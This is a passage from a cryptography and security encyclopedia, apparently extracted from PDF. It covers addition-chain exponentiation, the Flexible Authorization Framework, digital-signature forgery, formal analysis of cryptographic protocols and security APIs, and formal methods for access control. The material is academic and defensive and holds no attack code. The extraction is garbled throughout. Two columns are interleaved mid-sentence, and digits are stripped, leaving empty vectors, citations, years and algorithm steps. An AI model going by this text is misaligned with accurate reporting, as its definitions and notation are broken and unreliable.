to be computationally infeasible in most cases for chains exponents r , r , . . . , rt are far apart, an addition sequence
of relevant length. Thus in practice there are heuristics might be faster in such a case. Finding the shortest addi-
used to obtain nearly optimal addition chains. Knuth [] tion sequence is known to be NP-complete [] and thus
describes several such heuristics. It is wise to implement heuristics are used to find short sequences.
F Flexible Authorization Framework (FAF)
In cases of simultaneous exponentiations such as exponentiation algorithm. Yao proved bounds for addition
in the digital signature standard (DSS), a general- sequences [].
ized addition chain called vector-addition chain can be
e k
applied. These are used to compute ge ge . . . gk where Applications
the gi s are arbitrary elements in G and the ei s are Fixed-exponent exponentiation can be used in RSA
fixed positive integers. In a vector addition chain, each encryption using the fixed public exponent, and in RSA
vector is the sum of two previous ones. For instance, decryption using the fixed secret exponent. The mecha-
a vector-addition chain C of the vector [, , ] is nism can also be used in ElGamal decryption and ellip-
([, , ], [, , ], [, , ], [, , ], [, , ], [, , ], [, , ], tic curve operations. Simultaneous exponentiation with
[, , ], [, , ], [, , ], [, , ]). more than one fixed exponent can be applied to the digital
Definition Let s and k be positive integers and let vi signature standard (DSS).
denote a k-dimensional vector of non-negative integers. An
ordered set V = {vi : k + i s} is called a vector- Recommended Reading
addition chain of length s and dimension k if V satisfies the . Bos J, Coster M () Addition chain heuristic. In: Proceedings
following: () Each vi , k + i , has a in each coordi- of Crypto , LNCS , Springer-Verlag, Heidelberg
nate position, except for coordinate position i + k , which . Downey P, Leong B, Sethi R () Computing sequences with
addition chains. SIAM J Comput :
is a . (Coordinate positions are labelled through k .);
. Gordon DM () A survey of fast exponentiation methods.
and () For each vi , i s, there exists an associated pair J Algorithms :
of integers wi = (i , i ) such that k + i , i < i and . Knuth DE () The art of computer programming, vol
vi = vi + vi (i = i is allowed). : Seminumerical algorithms, rd edn. Addison-Wesley,
Boston, MA
Again, the time for precomputations is irrelevant. . Menezes AJ, van Oorschot PC, Vanstone SA () Handbook of
There is a one-to-one correspondence between vector- applied cryptography. CRC Press, Boca Raton, FL
addition chains and addition sequences []. Hence deter- . Olivos J () On vectorial addition chains. In J Algorithms :

mining the shortest vector-addition chain is NP-complete
. Schnhage A () A lower bound for the length of addition
and thus heuristics are used to obtain short vector-addition chains. Theor Comput Science :
chains []. Having a vector-addition chain, exponentiation . Yao AC () On the evaluation of powers. SIAM J Comput
can be performed as shown in Algorithm . The algo- :
rithm needs s multiplications for a vector-addition chain
of length s to compute ge ge . . . gk
e k
for arbitrary base and
fixed exponents.
Flexible Authorization
Framework (FAF)
Algorithm Vector-Addition Chain Exponentiation
INPUT: group elements g , g , . . . , gk and a vector- Pierangela Samarati
addition chain V of length s and dimension k with asso- Dipartimento di Tecnologie dellInformazione (DTI),
ciated sequence w , . . . , ws , where wi = (i , i ). Universit degli Studi di Milano, Crema (CR), Italy
OUTPUT: ge ge . . . gk
e k
where vs = (e , . . . , ek ).
. For i from (k + ) to do
. ai gi+k
. For i from to s do Related Concepts
. ai ai ai Authorizations; Discretionary Access Control Policies
. Return (as ) (DAC); Logic-Based Authorization Languages
Denition
An overview of addition chains is given by Knuth []. Flexible Authorization Framework (FAF) is a powerful and
Further examples of fixed-exponent exponentiation can be elegant logic-based framework where authorizations are
found in [, ]. A lower bound for the shortest length of specified in terms of a locally stratified rule-based logic.
addition chains was proven by Schnhage [], an upper FAF is based on an access control model that does not
bound is obtained by constructing an addition chain depend on any policy but is capable of representing any
of e from its binary representation, i.e., by the binary policy through the syntax of the model.
Flexible Authorization Framework (FAF) F
Background Starting from these observations, in [] the authors

The definition of access control policies (and their corre- propose a logic-based language that attempts to balance
sponding models) is far from being a trivial process. One flexibility and expressiveness on the one side, and easy
of the major difficulty lies in the interpretation of, often management and performance on the other. The lan-
complex and sometimes ambiguous, real-world security guage allows the representation of different policies and
policies and in their translation in well-defined and unam- protection requirements, while at the same time provid-
biguous rules enforceable by a computer system. Many ing understandable specifications, clear semantics (guar-
real-world situations have complex policies, where access anteeing therefore the behavior of the specifications), and
decisions depend on the application of different rules com- bearable data complexity.
ing, for example, from laws, practices, and organizational
regulations. A security policy must capture all the differ- Theory
ent regulations to be enforced and, in addition, must also The Flexible Authorization Framework (FAF) includes the
consider possible additional threats due to the use of a
computer system. Given the complexity of the scenario,
following components (see Fig. ): F
there is a need for flexible, powerful, and expressive access A history table whose rows describe the accesses
control services to accommodate all the different require- executed.
ments that may need to be expressed, while at the same An authorization table whose rows are authorizations
time be simple both in terms of use (so that specifica- composed of the triples (s, o, signa), where s is
tions can be kept under control) and implementation (so the subject, o the data item, a the action and sign
to allow for its verification). Logic languages are particu- may be either + or . An authorization indicates
larly attractive as policy specification languages. One main that subject s can execute (sign +) or cannot exe-
advantage is that the semantic of a logic language is clear cute (sign ) action a over authorization object o.
and unambiguous. Also, logic languages are very expres- The authorization table contains the set of explicitly
sive, can be used to represent any kind of policy, and are specified authorizations.
declarative, thus offering a better abstraction level than A propagation policy, which specifies how to obtain
imperative programming languages. new derived authorizations from those explicitly stored
Although several logic-based authorization models in the authorization table (e.g., derived authorizations
and access control mechanisms have been implemented, can be obtained according to hierarchy-based deriva-
which allow the expression of different kinds of authorization policies).
tion implications, constraints on authorizations, and access A conflict resolution policy, which describes how pos-
control policies, the authorization specifications may result sible conflicts between the (explicit and/or derived)
difficult to understand and manage. Also, the trade-off authorizations should be solved.
between expressiveness and efficiency seems to be strongly A decision policy, which defines the response that
unbalanced: the lack of restrictions on the language results should be returned to each access request. In case of
in the specification of models that may not even be decid- conflicts or gaps (i.e., when an access is neither autho-
able and implementable in practice. rized nor denied), the decision policy determines the
Granted/
(o, s, +a) Conflict denied
Propagation Integrity
resolution &
policy constraints
decision policy
Authorization History
table table
..
..
Flexible Authorization Framework (FAF). Fig. Functional authorization architecture

F Flexible Authorization Framework (FAF)
answer. In many systems, decisions assume either the Accesses will be allowed or denied on the basis of the
open or the closed policy, where, by default, access is truth value of an atom associated with the access in the
granted or denied, respectively. unique stable model.
A set of integrity constraints that may impose restric-
tions on the content and output of the other com- The four decision stages (i.e., authorization table, propaga-
ponents. Integrity rules can be used to individu- tion policy, conflict resolution policy, and decision policy)
ate errors in the hierarchies or in the explicitly correspond to the following predicates:
specified authorizations, or for implementing duty
separation. Cando(o, s, a) explicitly represents the authoriza-
tions defined by the security administrator: it allows
When a subject s requires the execution of action a on (or denies, depending on the sign) subject s to execute
object o, the system needs to verify whether the autho- action a on object o.
rization (s, o, +a) or (s, o, a) can be derived using the Dercando(o, s, a) represents authorizations derived
authorization table, propagation policy, history table, con- by the system according to the propagation policy.
flict resolution policy, and decision policy that have been Do(o, s, a) represents the accesses that must be
defined in the system. If a positive authorization is derived, allowed or denied, and are obtained after the applica-
then the access is allowed. Otherwise, if a negative autho- tion of the conflict resolution and decision policies.
rization is derived, the access is denied.
FAF allows the representation of different propagation In addition, predicate done keeps the history of the
policies, conflict resolution policies, and decision policies accesses executed (e.g., to implement a Chinese Wall pol-
that a security administrator might want to use. These poli- icy) and a predicate error can be used to signal errors in
cies represent only some of the possibilities and FAF is the specification or use of authorizations. Other predicate
flexible enough to allow a security administrator to express symbols, called hie-predicates, are adopted for the evalu-
what she needs for her applications. To address this issue, ation of hierarchical relationships between the elements of
the functional authorization architecture can be realized the data system (e.g., users membership in groups, inclu-
through the following approach. sion relationships between objects). A further category of
predicates is the rel-predicates that are used to express
The authorization table is viewed as a database. different relationships between elements in the data sys-
Policies are expressed by a restricted class of logic pro- tem. These predicates are not fixed by the model and are
grams, called authorization specification, which have application specific (e.g., owner(o, s) specifies that subject
certain properties. s is the owner of object o in the system).
The semantics of authorization specifications is given Authorization specifications are stated as logic rules
through the well-known stable model semantics and defined over the above predicates. To ensure stratifiability,
well-founded model semantics of logic programs, the format of the rules is restricted as illustrated in Table .
ensuring thus the existence of exactly one stable The stratification also reflects the different semantics given
model. to the predicates: cando will be used to specify basic
Flexible Authorization Framework (FAF). Table Rule composition and stratication of FAF
Stratum Predicate Rules dening predicates

hie-predicates Base relations
rel-predicates Base relations
done Base relation
cando Body may contain done, hie-, and rel- literals
dercando Body may contain cando, dercando, done,
hie-, and rel- literals. Occurrences of
dercando literals must be positive
do When head is of the form do(_, _, +a),
body may contain cando, dercando, done,
hie-, and rel- literals
do When head is of the form do(o, s, a),
body contains just one literal do(o, s, +a)
error Body may contain do, cando, dercando,
done, hie-, and rel- literals
Forgery F
authorizations, dercando will be used to enforce impli- Denition

cation relationships and produce derived authorizations, The term forgery usually describes a message-related
and do to take the final access decision. Stratification attack against a cryptographic digital signature scheme.
ensures that the logic program corresponding to the rules That is an attack trying to fabricate a digital signature for
has a unique stable model, which coincides with the well- a message without having access to the respective signers
founded semantics. Also, this model can be effectively private signing key. It is used to formally define the secu-
computed in polynomial time. The authors of FAF also rity requirements of digital signature schemes, in particu-
present a materialization technique for producing and lar the requirement of unforgeability, which is also called
storing the model corresponding to a set of logical rules. non-repudiation.
The model is computed on the initial specifications and
updated with incremental maintenance strategies. Theory
A generally accepted formal framework for ordinary dig-
Open Problems ital signatures has been given by Goldwasser et al. [].
According to their definition a digital signature scheme
F
Although different logic-based models and languages
have been proposed, there are still some key aspects consists of three algorithms: one for generating key pairs,
and challenges to be addressed. Some interesting key one for signing messages, and one for verifying signatures.
aspects consist in enriching the expressive power of logic- The key generator produces a key pair (public key cryp-
based languages with the support for anonymous creden- tography) of a signing key (private key) and a verifying key
tials, semantics-aware specifications, and context-aware (public key). The signing algorithm takes as input a signing
specifications. key and a message, and returns a signature. The verifying
algorithm takes as input a verifying key, a message, and a
signature, and returns a Boolean value. A signature is usu-
Recommended Reading ally called valid for a message with respect to a verifying
. Jajodia S, Samarati P, Sapino ML, Subrahmanian VS () Flex-
ible support for multiple access control policies. ACM Trans
key if the verifying algorithm returns TRUE on input this
Database Syst (): verifying key, message, and signature.
The GMR definition identifies four types of attacker
goals against digital signature schemes. They are in order of
decreasing strength: () to figure out the signing key (total
break), () a quasi signing algorithm that also produces
Flow Blocking signatures valid with respect to the victims verifying key
(universal forgery), () to find a signature for a new message
TCP Reset Injection selected by the attacker (selective forgery), or () to find
a signature for any one new message (existential forgery).
They further define passive attacks and active attacks
(cryptanalysis) for cryptographic signature schemes. An
Forged Resets attack is called passive if it is restricted to the access of the
verifying key and a number of signed messages (known
TCP Reset Injection message attack). An attack is called active if it also accesses
the signer to ask for signatures on messages chosen by
the attacker (chosen message attack). The attack is suc-
cessful if the attacker can come up with a signature for
a new message, i.e., one for which the signer has not
Forgery provided a signature before. A stronger active attack is
where each message may be chosen by taking into account
Gerrit Bleumer the signers responses to all previously chosen messages
Research and Development, Francotyp Group, (adaptive chosen message attack). Orthogonal to the clas-
Birkenwerder bei Berlin, Germany sification of active attacks into whether they are adaptive
or not is the following classification based on how the
attacker may interleave his queries to the signer []. In a
Related Concepts sequential attack, the attacker may ask the signer to sign
Digital Signature; Non-Repudiation messages one by one. In a concurrent attack, the attacker
F Formal Analysis of Cryptographic Protocols
may ask the signer to sign more than one message at the Recommended Reading
same time, while the attacker may interleave his queries . Brands S () Untraceable off-line cash in wallet with observers.
arbitrarily. In: Stinson DR (ed) Advances in cryptology CRYPTO. Lecture
Unforgeability of a digital signature scheme is then
defined as security against a certain type of attacker goal scheme secure against adaptive chosen-message attacks. SIAM J
under a certain type of attack. The type of attack defines Comput ():
how the attacker can interact with or has access to the hon- . Menezes AJ, van Oorschoot PC, Vanstone SA () Handbook
est signer (how the attacker can wring the honest signer), of applied cryptography. CRC Press, Boca Raton, p
. Micali S, Rivest R () Transitive signature schemes. In:
and the type of attacker goal defines the attackers out-
Preneel B (ed) Topics in cryptology CT-RSA . Lecture notes
come (a new valid signature or a signing key). Clearly, in computer science, vol . Springer, Berlin, pp
the unforgeability definition of a digital signature scheme . Naccache D, Pointcheval D, Tymen C () Monotone signa-
is all the stronger, the more the attacker can wring the tures. In: Syverson PF (ed) Financial cryptography . Lecture
signer and the less outcome he can expect. For instance, notes in computer science, vol . Springer, Berlin, pp
. Pfitzmann B, Sadeghi A-R () Coin-based anonymous
the GMR signature scheme has been proven to be secure
fingerprinting. In: Stern J (ed) Advances in cryptology EURO-
against existential forgery under an adaptive chosen mes- CRYPT. Lecture notes in computer science, vol . Springer,
sage attack []. Berlin, pp
There are several different types of cryptographic sig- . Pointcheval D () Strengthened security for blind signatures.
natures schemes to which other or additional security In: Nyberg K (ed) Advances in cryptology EUROCRYPT.
requirements apply. The better known types of cryp-
pp
tographic signature schemes are in alphabetical order
() blind signatures, () designated confirmer signa-
tures, () fail-stop signatures, () group signatures,
() threshold signatures, () undeniable signatures, ()
transitive signatures [], and () monotone signatures []. Formal Analysis of Cryptographic
All of them impose security requirements alternatively or Protocols
in addition to the security requirements of ordinary cryp-
tographic signature schemes described above. Most of the Catherine Meadows
alternative/additional security requirements are defined by U.S. Naval Research Laboratory, Washington, DC, USA
means of alternative/additional types of forgery.
In a blind signature scheme, the verifier does not tell Synonyms
the signer which message to sign, but instead blinds the Cryptographic protocol verification
intended message and requests a signature for the blinded
message from the signer. Then the signer provides infor- Related Concepts
mation to the verifier, from which the verifier can effi- Electronic Cash; Electronic Payment; Electronic
ciently derive a valid signature for the intended message. Postage; Electronic Voting; Security Standards
The GMR framework does not apply to blind signatures
because in a blind signature scheme the notion of a suc- Denition
cessful attack is undefined. If an attacker comes up with a The application of formal methods to cryptographic proto-
signature for a message, it makes no sense to ask whether col analysis is the process of employing automated formal
that message has been signed by the signer before or not, analysis tools, such as theorem provers or model checkers,
simply because the signer has no idea which messages he to the problem of determining whether an attacker can pre-
has signed before. Instead, two other types of active attacks vent the protocol from accomplishing one or more of its
have been defined for blind signature schemes: one-more security goals.
forgery [] and forgery of restrictiveness [, ].
A one-more forgery [] is an attack that for some poly- Background
nomially bounded integer n comes up with valid signatures To see the type of problem that can arise, consider the fol-
for n + pairwise different messages after the signer has lowing famous example of the Needham-Schroeder public
provided signatures only for n messages. key protocol [], and the attack discovered by Gavin Lowe
A forgery of restrictiveness is an attack that comes up []. The goal of this protocol is to allow A and B to secretly
with a signature for a message that does not observe a share two randomly generated nonces: NA generated by
predefined internal structure. A and NB generated by B. The protocol uses public key
Formal Analysis of Cryptographic Protocols F
encryption to achieve its goals. The protocol at the left application of other model checkers to the problem, and
describes the way the protocol is supposed to proceed, with in a new interest in developing specialized model check-
KA As key and KB Bs key. The on the right describes an ers that can be applied to the problems. Probably the most
attack in which I is the attacker, with its own key KI. widely used of these are the AVISPA tool [], actually a
suite of model-checkers, and the ProVerif tool [], which
Protocol Attack
can be used to prove not only standard protocol properties
. A -> B: KB(A,NA) . A -> I: KI(A,NA)
such as authentication and secrecy, but privacy proper-
. B -> A: KA(NA,NB) . I -> B: KB(A,NA)
ties of the sort that are found, for example, in electronic
. A -> B: KB(NB) . B -> A: KA(NA,NB)
commerce and voting protocols.
. A -> I: KI(NB)
The formal model most commonly used is popularly
. I -> B: KB(NB)
known as the DolevYao model, although it is somewhat
Thus, at the end of the attack, the attacker I is able to con- different than the model first envisioned by Dolev and
vince B that NB is uniquely shared between A and B, while Yao. In it, the crypto algebra is modeled as a free algebra.
actually it is also known by I. Operations on data, such as encryption and decryption, are
F
There are two things to note about this attack. The first modeled as atomic actions. The intruder is assumed to be
is that it depends only on a small set of atomic actions on able to read traffic, block, redirect, and modify traffic of
data: encryption, decryption, concatenation, and decon- his own. The intruder is assumed to be able to perform
catenation. The second thing is that although the attacks any operation available to a legitimate participant in the
are simple, they are nonintuitive and it is difficult to avoid protocol. He also may be in league with a number of cor-
designing protocols that are invulnerable to them. Thus rupt principals and have access to their keys. The legitimate
cryptographic protocols are an excellent candidate for for- principals execute according to the rules of the protocol,
mal analysis using mechanized tools. but every message they send is read by the intruder and
The first attempt to develop formal methods for the may be modified. Thus, every message a legitimate prin-
analysis of cryptographic protocols was that of Dolev and cipal receives is assumed to have been either created or
Yao [], who developed polynomial-time algorithms for passed on by the intruder.
the security of a class of simple protocols. This unfortu- Although the attacker has a considerable amount of
nately did not turn out to be easily extendable to more freedom, the set of actions available to it can be expressed
realistic protocols, but automated tools that could be used, in a very regular fashion. Thus the complexity of the
either with or without human guidance, to search for problem of determining security generally hinges on the
attacks from an insecure state specified by a user, were number of individual executions (usually referred to as ses-
soon to follow, such as the interrogator [] and the NRL sions) of protocol roles by honest principals. The problem
protocol analyzer []. However, formal analysis of cryp- of determining whether the intruder learns a given term,
tographic protocols did not attract widespread attention known as the secrecy problem, was proved undecidable in
until the Burrows, Abadi, and Needham (BAN) logic [] the unbounded session model by Durgin et al. [] in ,
in the late s. This, although it was criticized for its lack and NP-complete in the bounded session model by Rusi-
of rigor, provided a simple, intuitive method for reason- nowitch and Turuani [] in . Similar results have been
ing about protocol security that also provided insight into proved for other properties, such as authentication.
how the protocol worked. BAN logic, instead of looking for
attacks, presents rules by which principals derive conclu-
sions about what has happened from messages they have Applications
sent and received. This general approach, although it was Formal analysis of cryptographic protocols has been exten-
for a while eclipsed by the success of model checkers, is still sively applied to the analysis of standards. In some cases,
being followed in several threads of research, although at a their use has made substantial contributions to the design
lower level of abstraction and a greater level of rigor, e.g., of the protocol. Examples of such uses of formal meth-
the compositional logic approach started in []. ods include analyses of the Internet Engineering Task
Interest in applying formal methods to cryptographic Forces Internet Key Exchange (IKE) and Group Domain
protocol analysis really took off in the mid-s however, of Interpretation (GDOI) Protocols, the Kerberos protocol,
after Lowe used the FDR model checker to find the above- and the Secure Electronic Transactions protocol, an e-
mentioned attack on the Needham-Schroeder public key commerce standard formerly supported by the major
protocol. This demonstrated that existing formal methods credit card companies. In several cases (e.g., proof of key
tools could be applied to the problem. This resulted in the possession in GDOI [] and the public key version of
F Formal Analysis of Security APIs
Kerberos []) this has led to the discovery of problems that . Lowe G () Breaking and fixing the Needham-Schroeder
led to a redesign of the standard. Public-Key Protocol using FDR. In Proceedings of TACAS .
. Dolev D, Yao A () On the security of public key protocols.
Open Problems IEEE Trans Inf Theory ():
The basic problem of cryptographic protocol analysis in . Millen JK, Clark SC, Freedman SB () The interrogator:
the DolevYao model is well understood, and a number of protocol security analysis. IEEE Trans Softw Eng, SE-():
relatively mature tools are available. Thus one active area
of research is exploring how well these tools can be used . Meadows C () Applying formal methods to the analysis of a
key management protocol. J Comput Secur ():
to analyze protocol standards. In general, these analyses . Burrows M, Abadi M, Needham R () A logic of authentica-
have been fruitful, helping both to find flaws early on and tion. ACM Trans Comput Syst ():
to increase understanding of the protocol, especially when . Durgin NA, Mitchell JC, Pavlovic D () A compositional
those performing the analysis can work closely with the logic for proving security properties of protocols. J Comput
protocol developers. Moreover, although the tools are not Secur ():
. Armando A, Basin D, Boichut Y, Chevalier Y, Compagna L,
yet a standard part of the protocol developers toolkit, they Cuellar J, Drielsma P, Heam P, Kouchnarenko O, Mantovini J,
are beginning to be used by those who propose protocols Modersheim S, Von Hoheimb D, Rusinowitch M, Santiago J,
of their own in order to bolster their security arguments. Turuani M, Vigano L, Vigneron L () The AVISPA Tool
Other research in this area has focused on improving for the Automatic Validation of Internet Security Protocols and
the accuracy and scope of the tools. One approach has been Applications. In: Proceedings of CAV . Springer
. Blanchet B () An automatic security protocol verifier
to attempt to bridge the gap between formal and crypto- based on resolution theorem proving (invited tutorial). In: th
graphic proofs of security by developing systems in which international conference on automated deduction (CADE-),
a DolevYao style proof implies a cryptographic proof of Tallinn
security. This has turned out to be a complex problem, . Durgin NA, Lincoln PD, Mitchell JC, Scedrov A () Undecid-
given the considerable gap between the two types of the- ability of bounded security protocols. In: Workshop on formal
methods and security protocols (FMSP), Trento
ories, but a number of different systems have been devel- . Rusinowitch M, Turuani M () Protocol insecurity with
oped for doing this, the most prominent example being the finite number of sessions is NP-complete. In: Proceedings of
Universal Composibility model []. computer security foundations workshop
Another approach is to apply theorem-proving tech- . Meadows C, Pavlovic D () Deriving, attacking, and defend-
niques directly to the cryptographic proofs. Although this ing the GDOI protocol. In: ESORICS . Springer
. Cervesato I, Jaggard AD, Scedrov A, Tsay J-K, Walstad C ()
loses the interface with the DolevYao theory, it has the Breaking and fixing public-key kerberos, extended abstract. In:
advantage that one can apply formal methods directly to Okada M, Satoh I (eds) Advances in computer science ASIAN
the cryptographic argument. This approach has been gain- , Tokyo, Dec . Springer LNCS, vol , Springer
ing popularity as tools and methods become more avail- . Backes M, Pfitzmann B () A cryptographically sound secu-
able. The most prominent example is CryptoVerif [], rity proof of the Needham-Schroeder-Lowe Public-Key Proto-
col. IEEE J Sel Area Comput (JSAC) ():
which provides automated support for game-based cryp- . Blanchet B () A computationally sound mechanized prover
tographic proofs. for security protocols. IEEE Trans Dependable Secur Comput
A third approach is to extend the DolevYao model ():
by introducing equational theories obeyed by the func- . Escobar S, Meadows C, Meseguer J () Maude-NPA: cryp-
tions used in a protocol. For example, modular exponen- tographic protocol analysis modulo equational properties.
FOSAD // tutorial lectures, LNCS, vol .
tiation is associative and commutative, and concatenation Springer, pp
is associative. This presents a middle ground between the
DolevYao model and the more expressive cryptographic
models: it is more expressive than the DolevYao model,
but it is still possible to use model checkers to verify the
cryptographic protocols. Maude-NPA [] is approaching Formal Analysis of Security APIs
this problem in the most comprehensive manner, but other
tools, such as ProVerif and AVISPA, also provide support Graham Steel
for various theories. Laboratoire Specification et Verification, INRIA,
CNRS & ENS, Cachan, France
Recommended Reading
. Needham RM, Schroeder MD () Using encryption for
authentication in large networks of computers. Commun ACM Related Concepts
(): Security Protocols Analysis
Formal Analysis of Security APIs F
Denition tools used for security protocol analysis can be adapted to

An application program interface (API) is called a secu- the problem, by considering the API as a suite of protocols,
rity API if it is designed so that no matter what sequence which the intruder may compose arbitrarily.
of function calls are made by the possibly malicious appli- One aspect that differentiates security API analysis
cation code, certain security properties continue to hold. from security protocols analysis is that in API analysis, one
Typically these interfaces arise in systems where a process encounters mutable global state: Keys may be imported
running trusted code has to offer an interface to a pro- and exported, and switches may be enabled and disabled
cess running untrusted code. Formal analysis of these APIs according to some rules in the API. These changes will
aims to establish exactly what properties are preserved in affect the behavior of the interface. This feature causes an
such a scenario. explosion in the number of possible of states to explore,
which poses a challenge to automated tools. In addition,
Background state change may be non-monotonic, i.e., mutually exclu-
sive choices may have to be made. Some protocol analysis
Longley and Rigby were the first to use formal methods to
tools implement optimizations assuming intruder knowl-
F
analyze a security API [], though the term security API
was coined later by Anderson and Bond []. edge increases monotonically. Such tools may find false
attacks when used on APIs with non-monotonic state.
Theory
Security API analysis typically consists of building an Applications
abstract logical model of the operations of the API func- A major application area for security APIs is the inter-
tions and the capabilities of an attacker. The model allows national cash machine network, where international
the intruder can to call API functions and perform offline standards (ISO /ANSI X.) stipulate that tamper-
computations in any sequence, and the security properties resistant hardware security modules (HSMs) must be used
of the interface are posed as reachability problems in the to encrypt, decrypt, and verify customers personal iden-
model. tification numbers (PINs). These HSMs expose a security
Security APIs are most often studied in the context of API to their host computers, which must be designed to
tamper-resistant cryptographic devices, where the trusted keep customer PINs secure, even if a malicious applica-
code running inside the device offers an interface to the tion runs on the host machine. Formal analysis of security
untrusted host machine. Any analysis of their security APIs has led to the discovery of many vulnerabilities in
must therefore take into account cryptographic operations these APIs. Some involve the key management functions,
such as encryption and signing. Most security API analyses which may be satisfactorily modeled in the abstract model
follow the so-called Dolev-Yao abstractions, where bit- described above. Others involve an attacker deducing the
strings are considered as terms in an abstract algebra, and value of a PIN from the pattern of error messages arising
cryptographic operations are functions on those terms, from various carefully constructed function calls. These
equipped with a suitable equational theory. API functions information leakage attacks have been analyzed in a proba-
and offline computations by the malicious application are bilistic model with Markov decision process semantics [].
modeled as deduction rules in the algebra. A typical secu-
rity property might be that certain cryptographic keys Open Problems
stored on the tamper-resistant device remain unknown to An open theoretical problem in API analysis is to relate
the attacker, which can be posed as the reachability of a the Dolev-Yao abstractions commonly used in formal tools
state in which the intruder knows the term corresponding to the computational complexity models used in manual
to this secret key. This problem is in general undecidable, cryptographic analyses. This problem has been attacked
in particular because security APIs can usually generate in the field of protocol analysis, but in API analysis, there
arbitrary numbers of fresh cryptographic keys and other are additional problems caused by the mutable state shared
values. This allows classical undecidable problems such as between commands.
Posts correspondence problem to be encoded as secrecy In practice, it is well known that the most com-
problems, following results from security protocols analy- monly used standard for key management APIs, RSA
sis. However, for practical APIs, bounds on the amount of Public Key Cryptography Standards (PKCS) #, cannot
fresh material can often be proved to be sufficient to cover be used to construct a secure interface for distributed
all attacks in the model. In such cases, the security prob- key management in its current form, since it lacks a key
lem can often be resolved with some automatic formal tool transport format that securely preserves key metadata [].
such as a model checker or theorem prover. In particular, This permits keys to have conflicting roles, for example,
F Formal Methods
key wrapping (encryption of sensitive keys) and decryp- Background

tion of arbitrary ciphertexts. Various alternative standards Access control within IT systems developed histori-
are being drafted, but the goal of a secure key management cally through simple mechanisms such as access-control
API for distributed tokens, whose security proofs have a matrices []. Such a matrix explicitly lists allowed access,
cryptographically sound semantics, remains open at the e.g., which principal can do what actions to which objects.
time of writing. This approach worked well for isolated or small-scale IT
systems, but is ill-suited for systems that are distributed,
federated, large-scale, or complex for other reasons.
Recommended Reading
. Bond M, Anderson R () API level attacks on embedded
systems. IEEE Comput Magazine (): Theory and Application
. Delaune S, Kremer S, Steel G () Formal analysis of PKCS#. To address these needs, policies emerged as a standard tool
In: Proceedings of the st IEEE Computer Security Foundations for specifying and deciding access requests. Policies have
Symposium (CSF), Pittsburgh, PA. IEEE Computer Society expressive mechanisms that allow for more efficient rep-
Press, pp
resentations of requests (e.g., through roles []), priority
. Longley D, Rigby S () An automatic search for security flaws
in key management schemes. Comput Secur (): composition of rules (e.g., to define and enforce overriding
. Steel G () Formal analysis of PIN block attacks. Theor concerns), the inheritance of privileges (e.g., through role
Comput Science (): hierarchies []), etc. A policy may be phrased in a man-
ner that is machine-readable, appreciable by system users
or both.
Policies are meant to capture intended behavior of
Formal Methods an access-control system. Mathematically, we may think
of a policy as a function p Req Dec where Req is
Applications of Formal Methods to Web Application the set of access requests and Dec is the set of decisions
Security made for such access requests. Two such decisions are
grant (permitted access) and deny (prohibited access).
But the application domain or the composition of sub-
policies may require additional values in Dec. We mention
Formal Methods and Access conict (rules of sub-policies provide conflicting evidence
Control for deciding an access request), gap (the policy provides
no evidence for deciding an access request), error (evalua-
Michael Huth tion of the policy for an access request causes some error),
Department of Computing, Imperial College London, halt (to stop the execution of a program), and irrelevant (to
London, UK express that the policy does not apply to an access request).
The decision of composed policies should be the com-
position of their individual decisions. For one, this makes
policy behavior independent of syntactic peculiarities. For
Related Concepts another, distributed systems may not allow the explicit
Access-Control Architectures; Administrative Policies;
construction of a composed policy. Formal methods can
Discretionary Access Control Policies (DAC); Formal
then help a great deal in developing techniques for com-
Verification; Identity Management; Mandatory Access
bining local policy decisions into global ones, e.g., through
Control Policy (MAC); Multilevel Security Policies;
research on policy algebras (e.g., []).
Privacy-Aware Access Control Policies; Role-Based
Policies within IT systems are not given as mathe-
Access Control
matical functions as above, but as syntactic, perhaps dis-
tributed, objects such as a rule file that specifies a firewall
Denition policy. Policy analysis (e.g., the one in []) is therefore an
A formal method is any technique or method that aids important formal activity. Such analyses include conflict
in the construction and validation of computer-based detection [] (e.g., are there conflicting rules in a pol-
systems and is based, in total or in part, on rigorous icy?), gap detection [] (is the policy not defined for some
mathematics. Access control [] refers to any method or request?), safety problem (e.g., can access privileges be
mechanism by which the access of principals to resources confined to intended owners of such rights?), and refine-
is regulated; formal methods can aid considerably in the ment [] (e.g., is the modified policy less permissive than
design, validation, and implementation of access control. the original one?).
Formal Methods for the Orange Book F
The policy decision point of an access-control system Open Problems

may also have to conduct policy analysis in order to deter- Access control in IT systems has to be done such that
mine how a policy ought to decide on a request. Consider people can actually use those systems. Usability [] in
delegation [], in which a principal can transfer his or her the security domain studies how the use of systems and
right to, or share it with, other principals (e.g., for docu- their security interact. Future formal methods may help in
ment collaboration). A policy decision point then needs to improving the usability of access-control systems so that
analyze the policy and its delegation statements in order private citizens and non-specialist workers alike can con-
to determine if granting an access request for a princi- trol the access to resources for which they are responsible.
ple follows directly, or is derivable through a chain of Formal methods are also believed to be needed in
policy-compliant delegations. the realization of robust access control in tomorrows sys-
Policies are expressed in policy languages (e.g., com- tems that increasingly rely on virtualization, software as
pliant with the standard XACML) or, indirectly, in other a service, and on cloud computing.
mathematical formalisms (e.g., in type inference systems
for the enforcement of secure information flow in Java pro- Recommended Reading
F
grams). The methods used in policy analysis vary greatly . Abadi M, Burrows M, Lampson B, Plotkin G () A calculus for
but depend on said concrete representation of policies. access control in distributed systems. In: ACM Transactions on
Secure information flow of a Java program might be estab- Programming Languages and Systems, vol , no , pp
. Rao P, Lin D, Bertino E, Li N, Lobo J () An algebra for fine-
lished by showing that one can infer its type to have a grained integration of XACML policies. In: Fifteenth Symposium
policy-compliant value in a security lattice. The presence of on Access Control Models and Technologies. ACM, pp
conflict in a rule-based policy (e.g., for a firewall) might . Bruns G, Dantas DS, Huth M () A simple and expressive
be established by expressing such presence in terms of a semantic framework for policy composition in access control. In:
propositional constraint and then checking the satisfiabil- Proceedings of the Fifth Workshop on Formal Methods in Secu-
rity Engineering: From Specifications to Code. ACM, pp
ity of that constraint with a SAT solver. See [] for use of . Cranor LF, Garfinkel S () Security and usability. OReilly
a SAT solver in this context. In contrast, role engineer- Media, Cambridge, MA
ing [] might use purely probabilistic methods, as famil- . Ferraiolo DF, Kuhn DR, Chandramouli R () Role-based
iar from artificial intelligence, to discover functional roles access control, nd edn. Artech House, Boston, MA
(e.g., ones that dont already exist as such within an orga- . Jeffrey A, Samak T () Model checking firewall policy con-
figurations. In: Proceedings of the IEEE International Sym-
nization but that reflect common access privileges) into posium on Policies for Distributed Systems and Networks. IEEE,
which principals can then be abstracted. pp
Formal methods can therefore serve several impor- . Li N, Mao Z () Administration in role-based access control.
tant but distinct functions in the design, verification, and In: Proceedings of the Second ACM Symposium on Information,
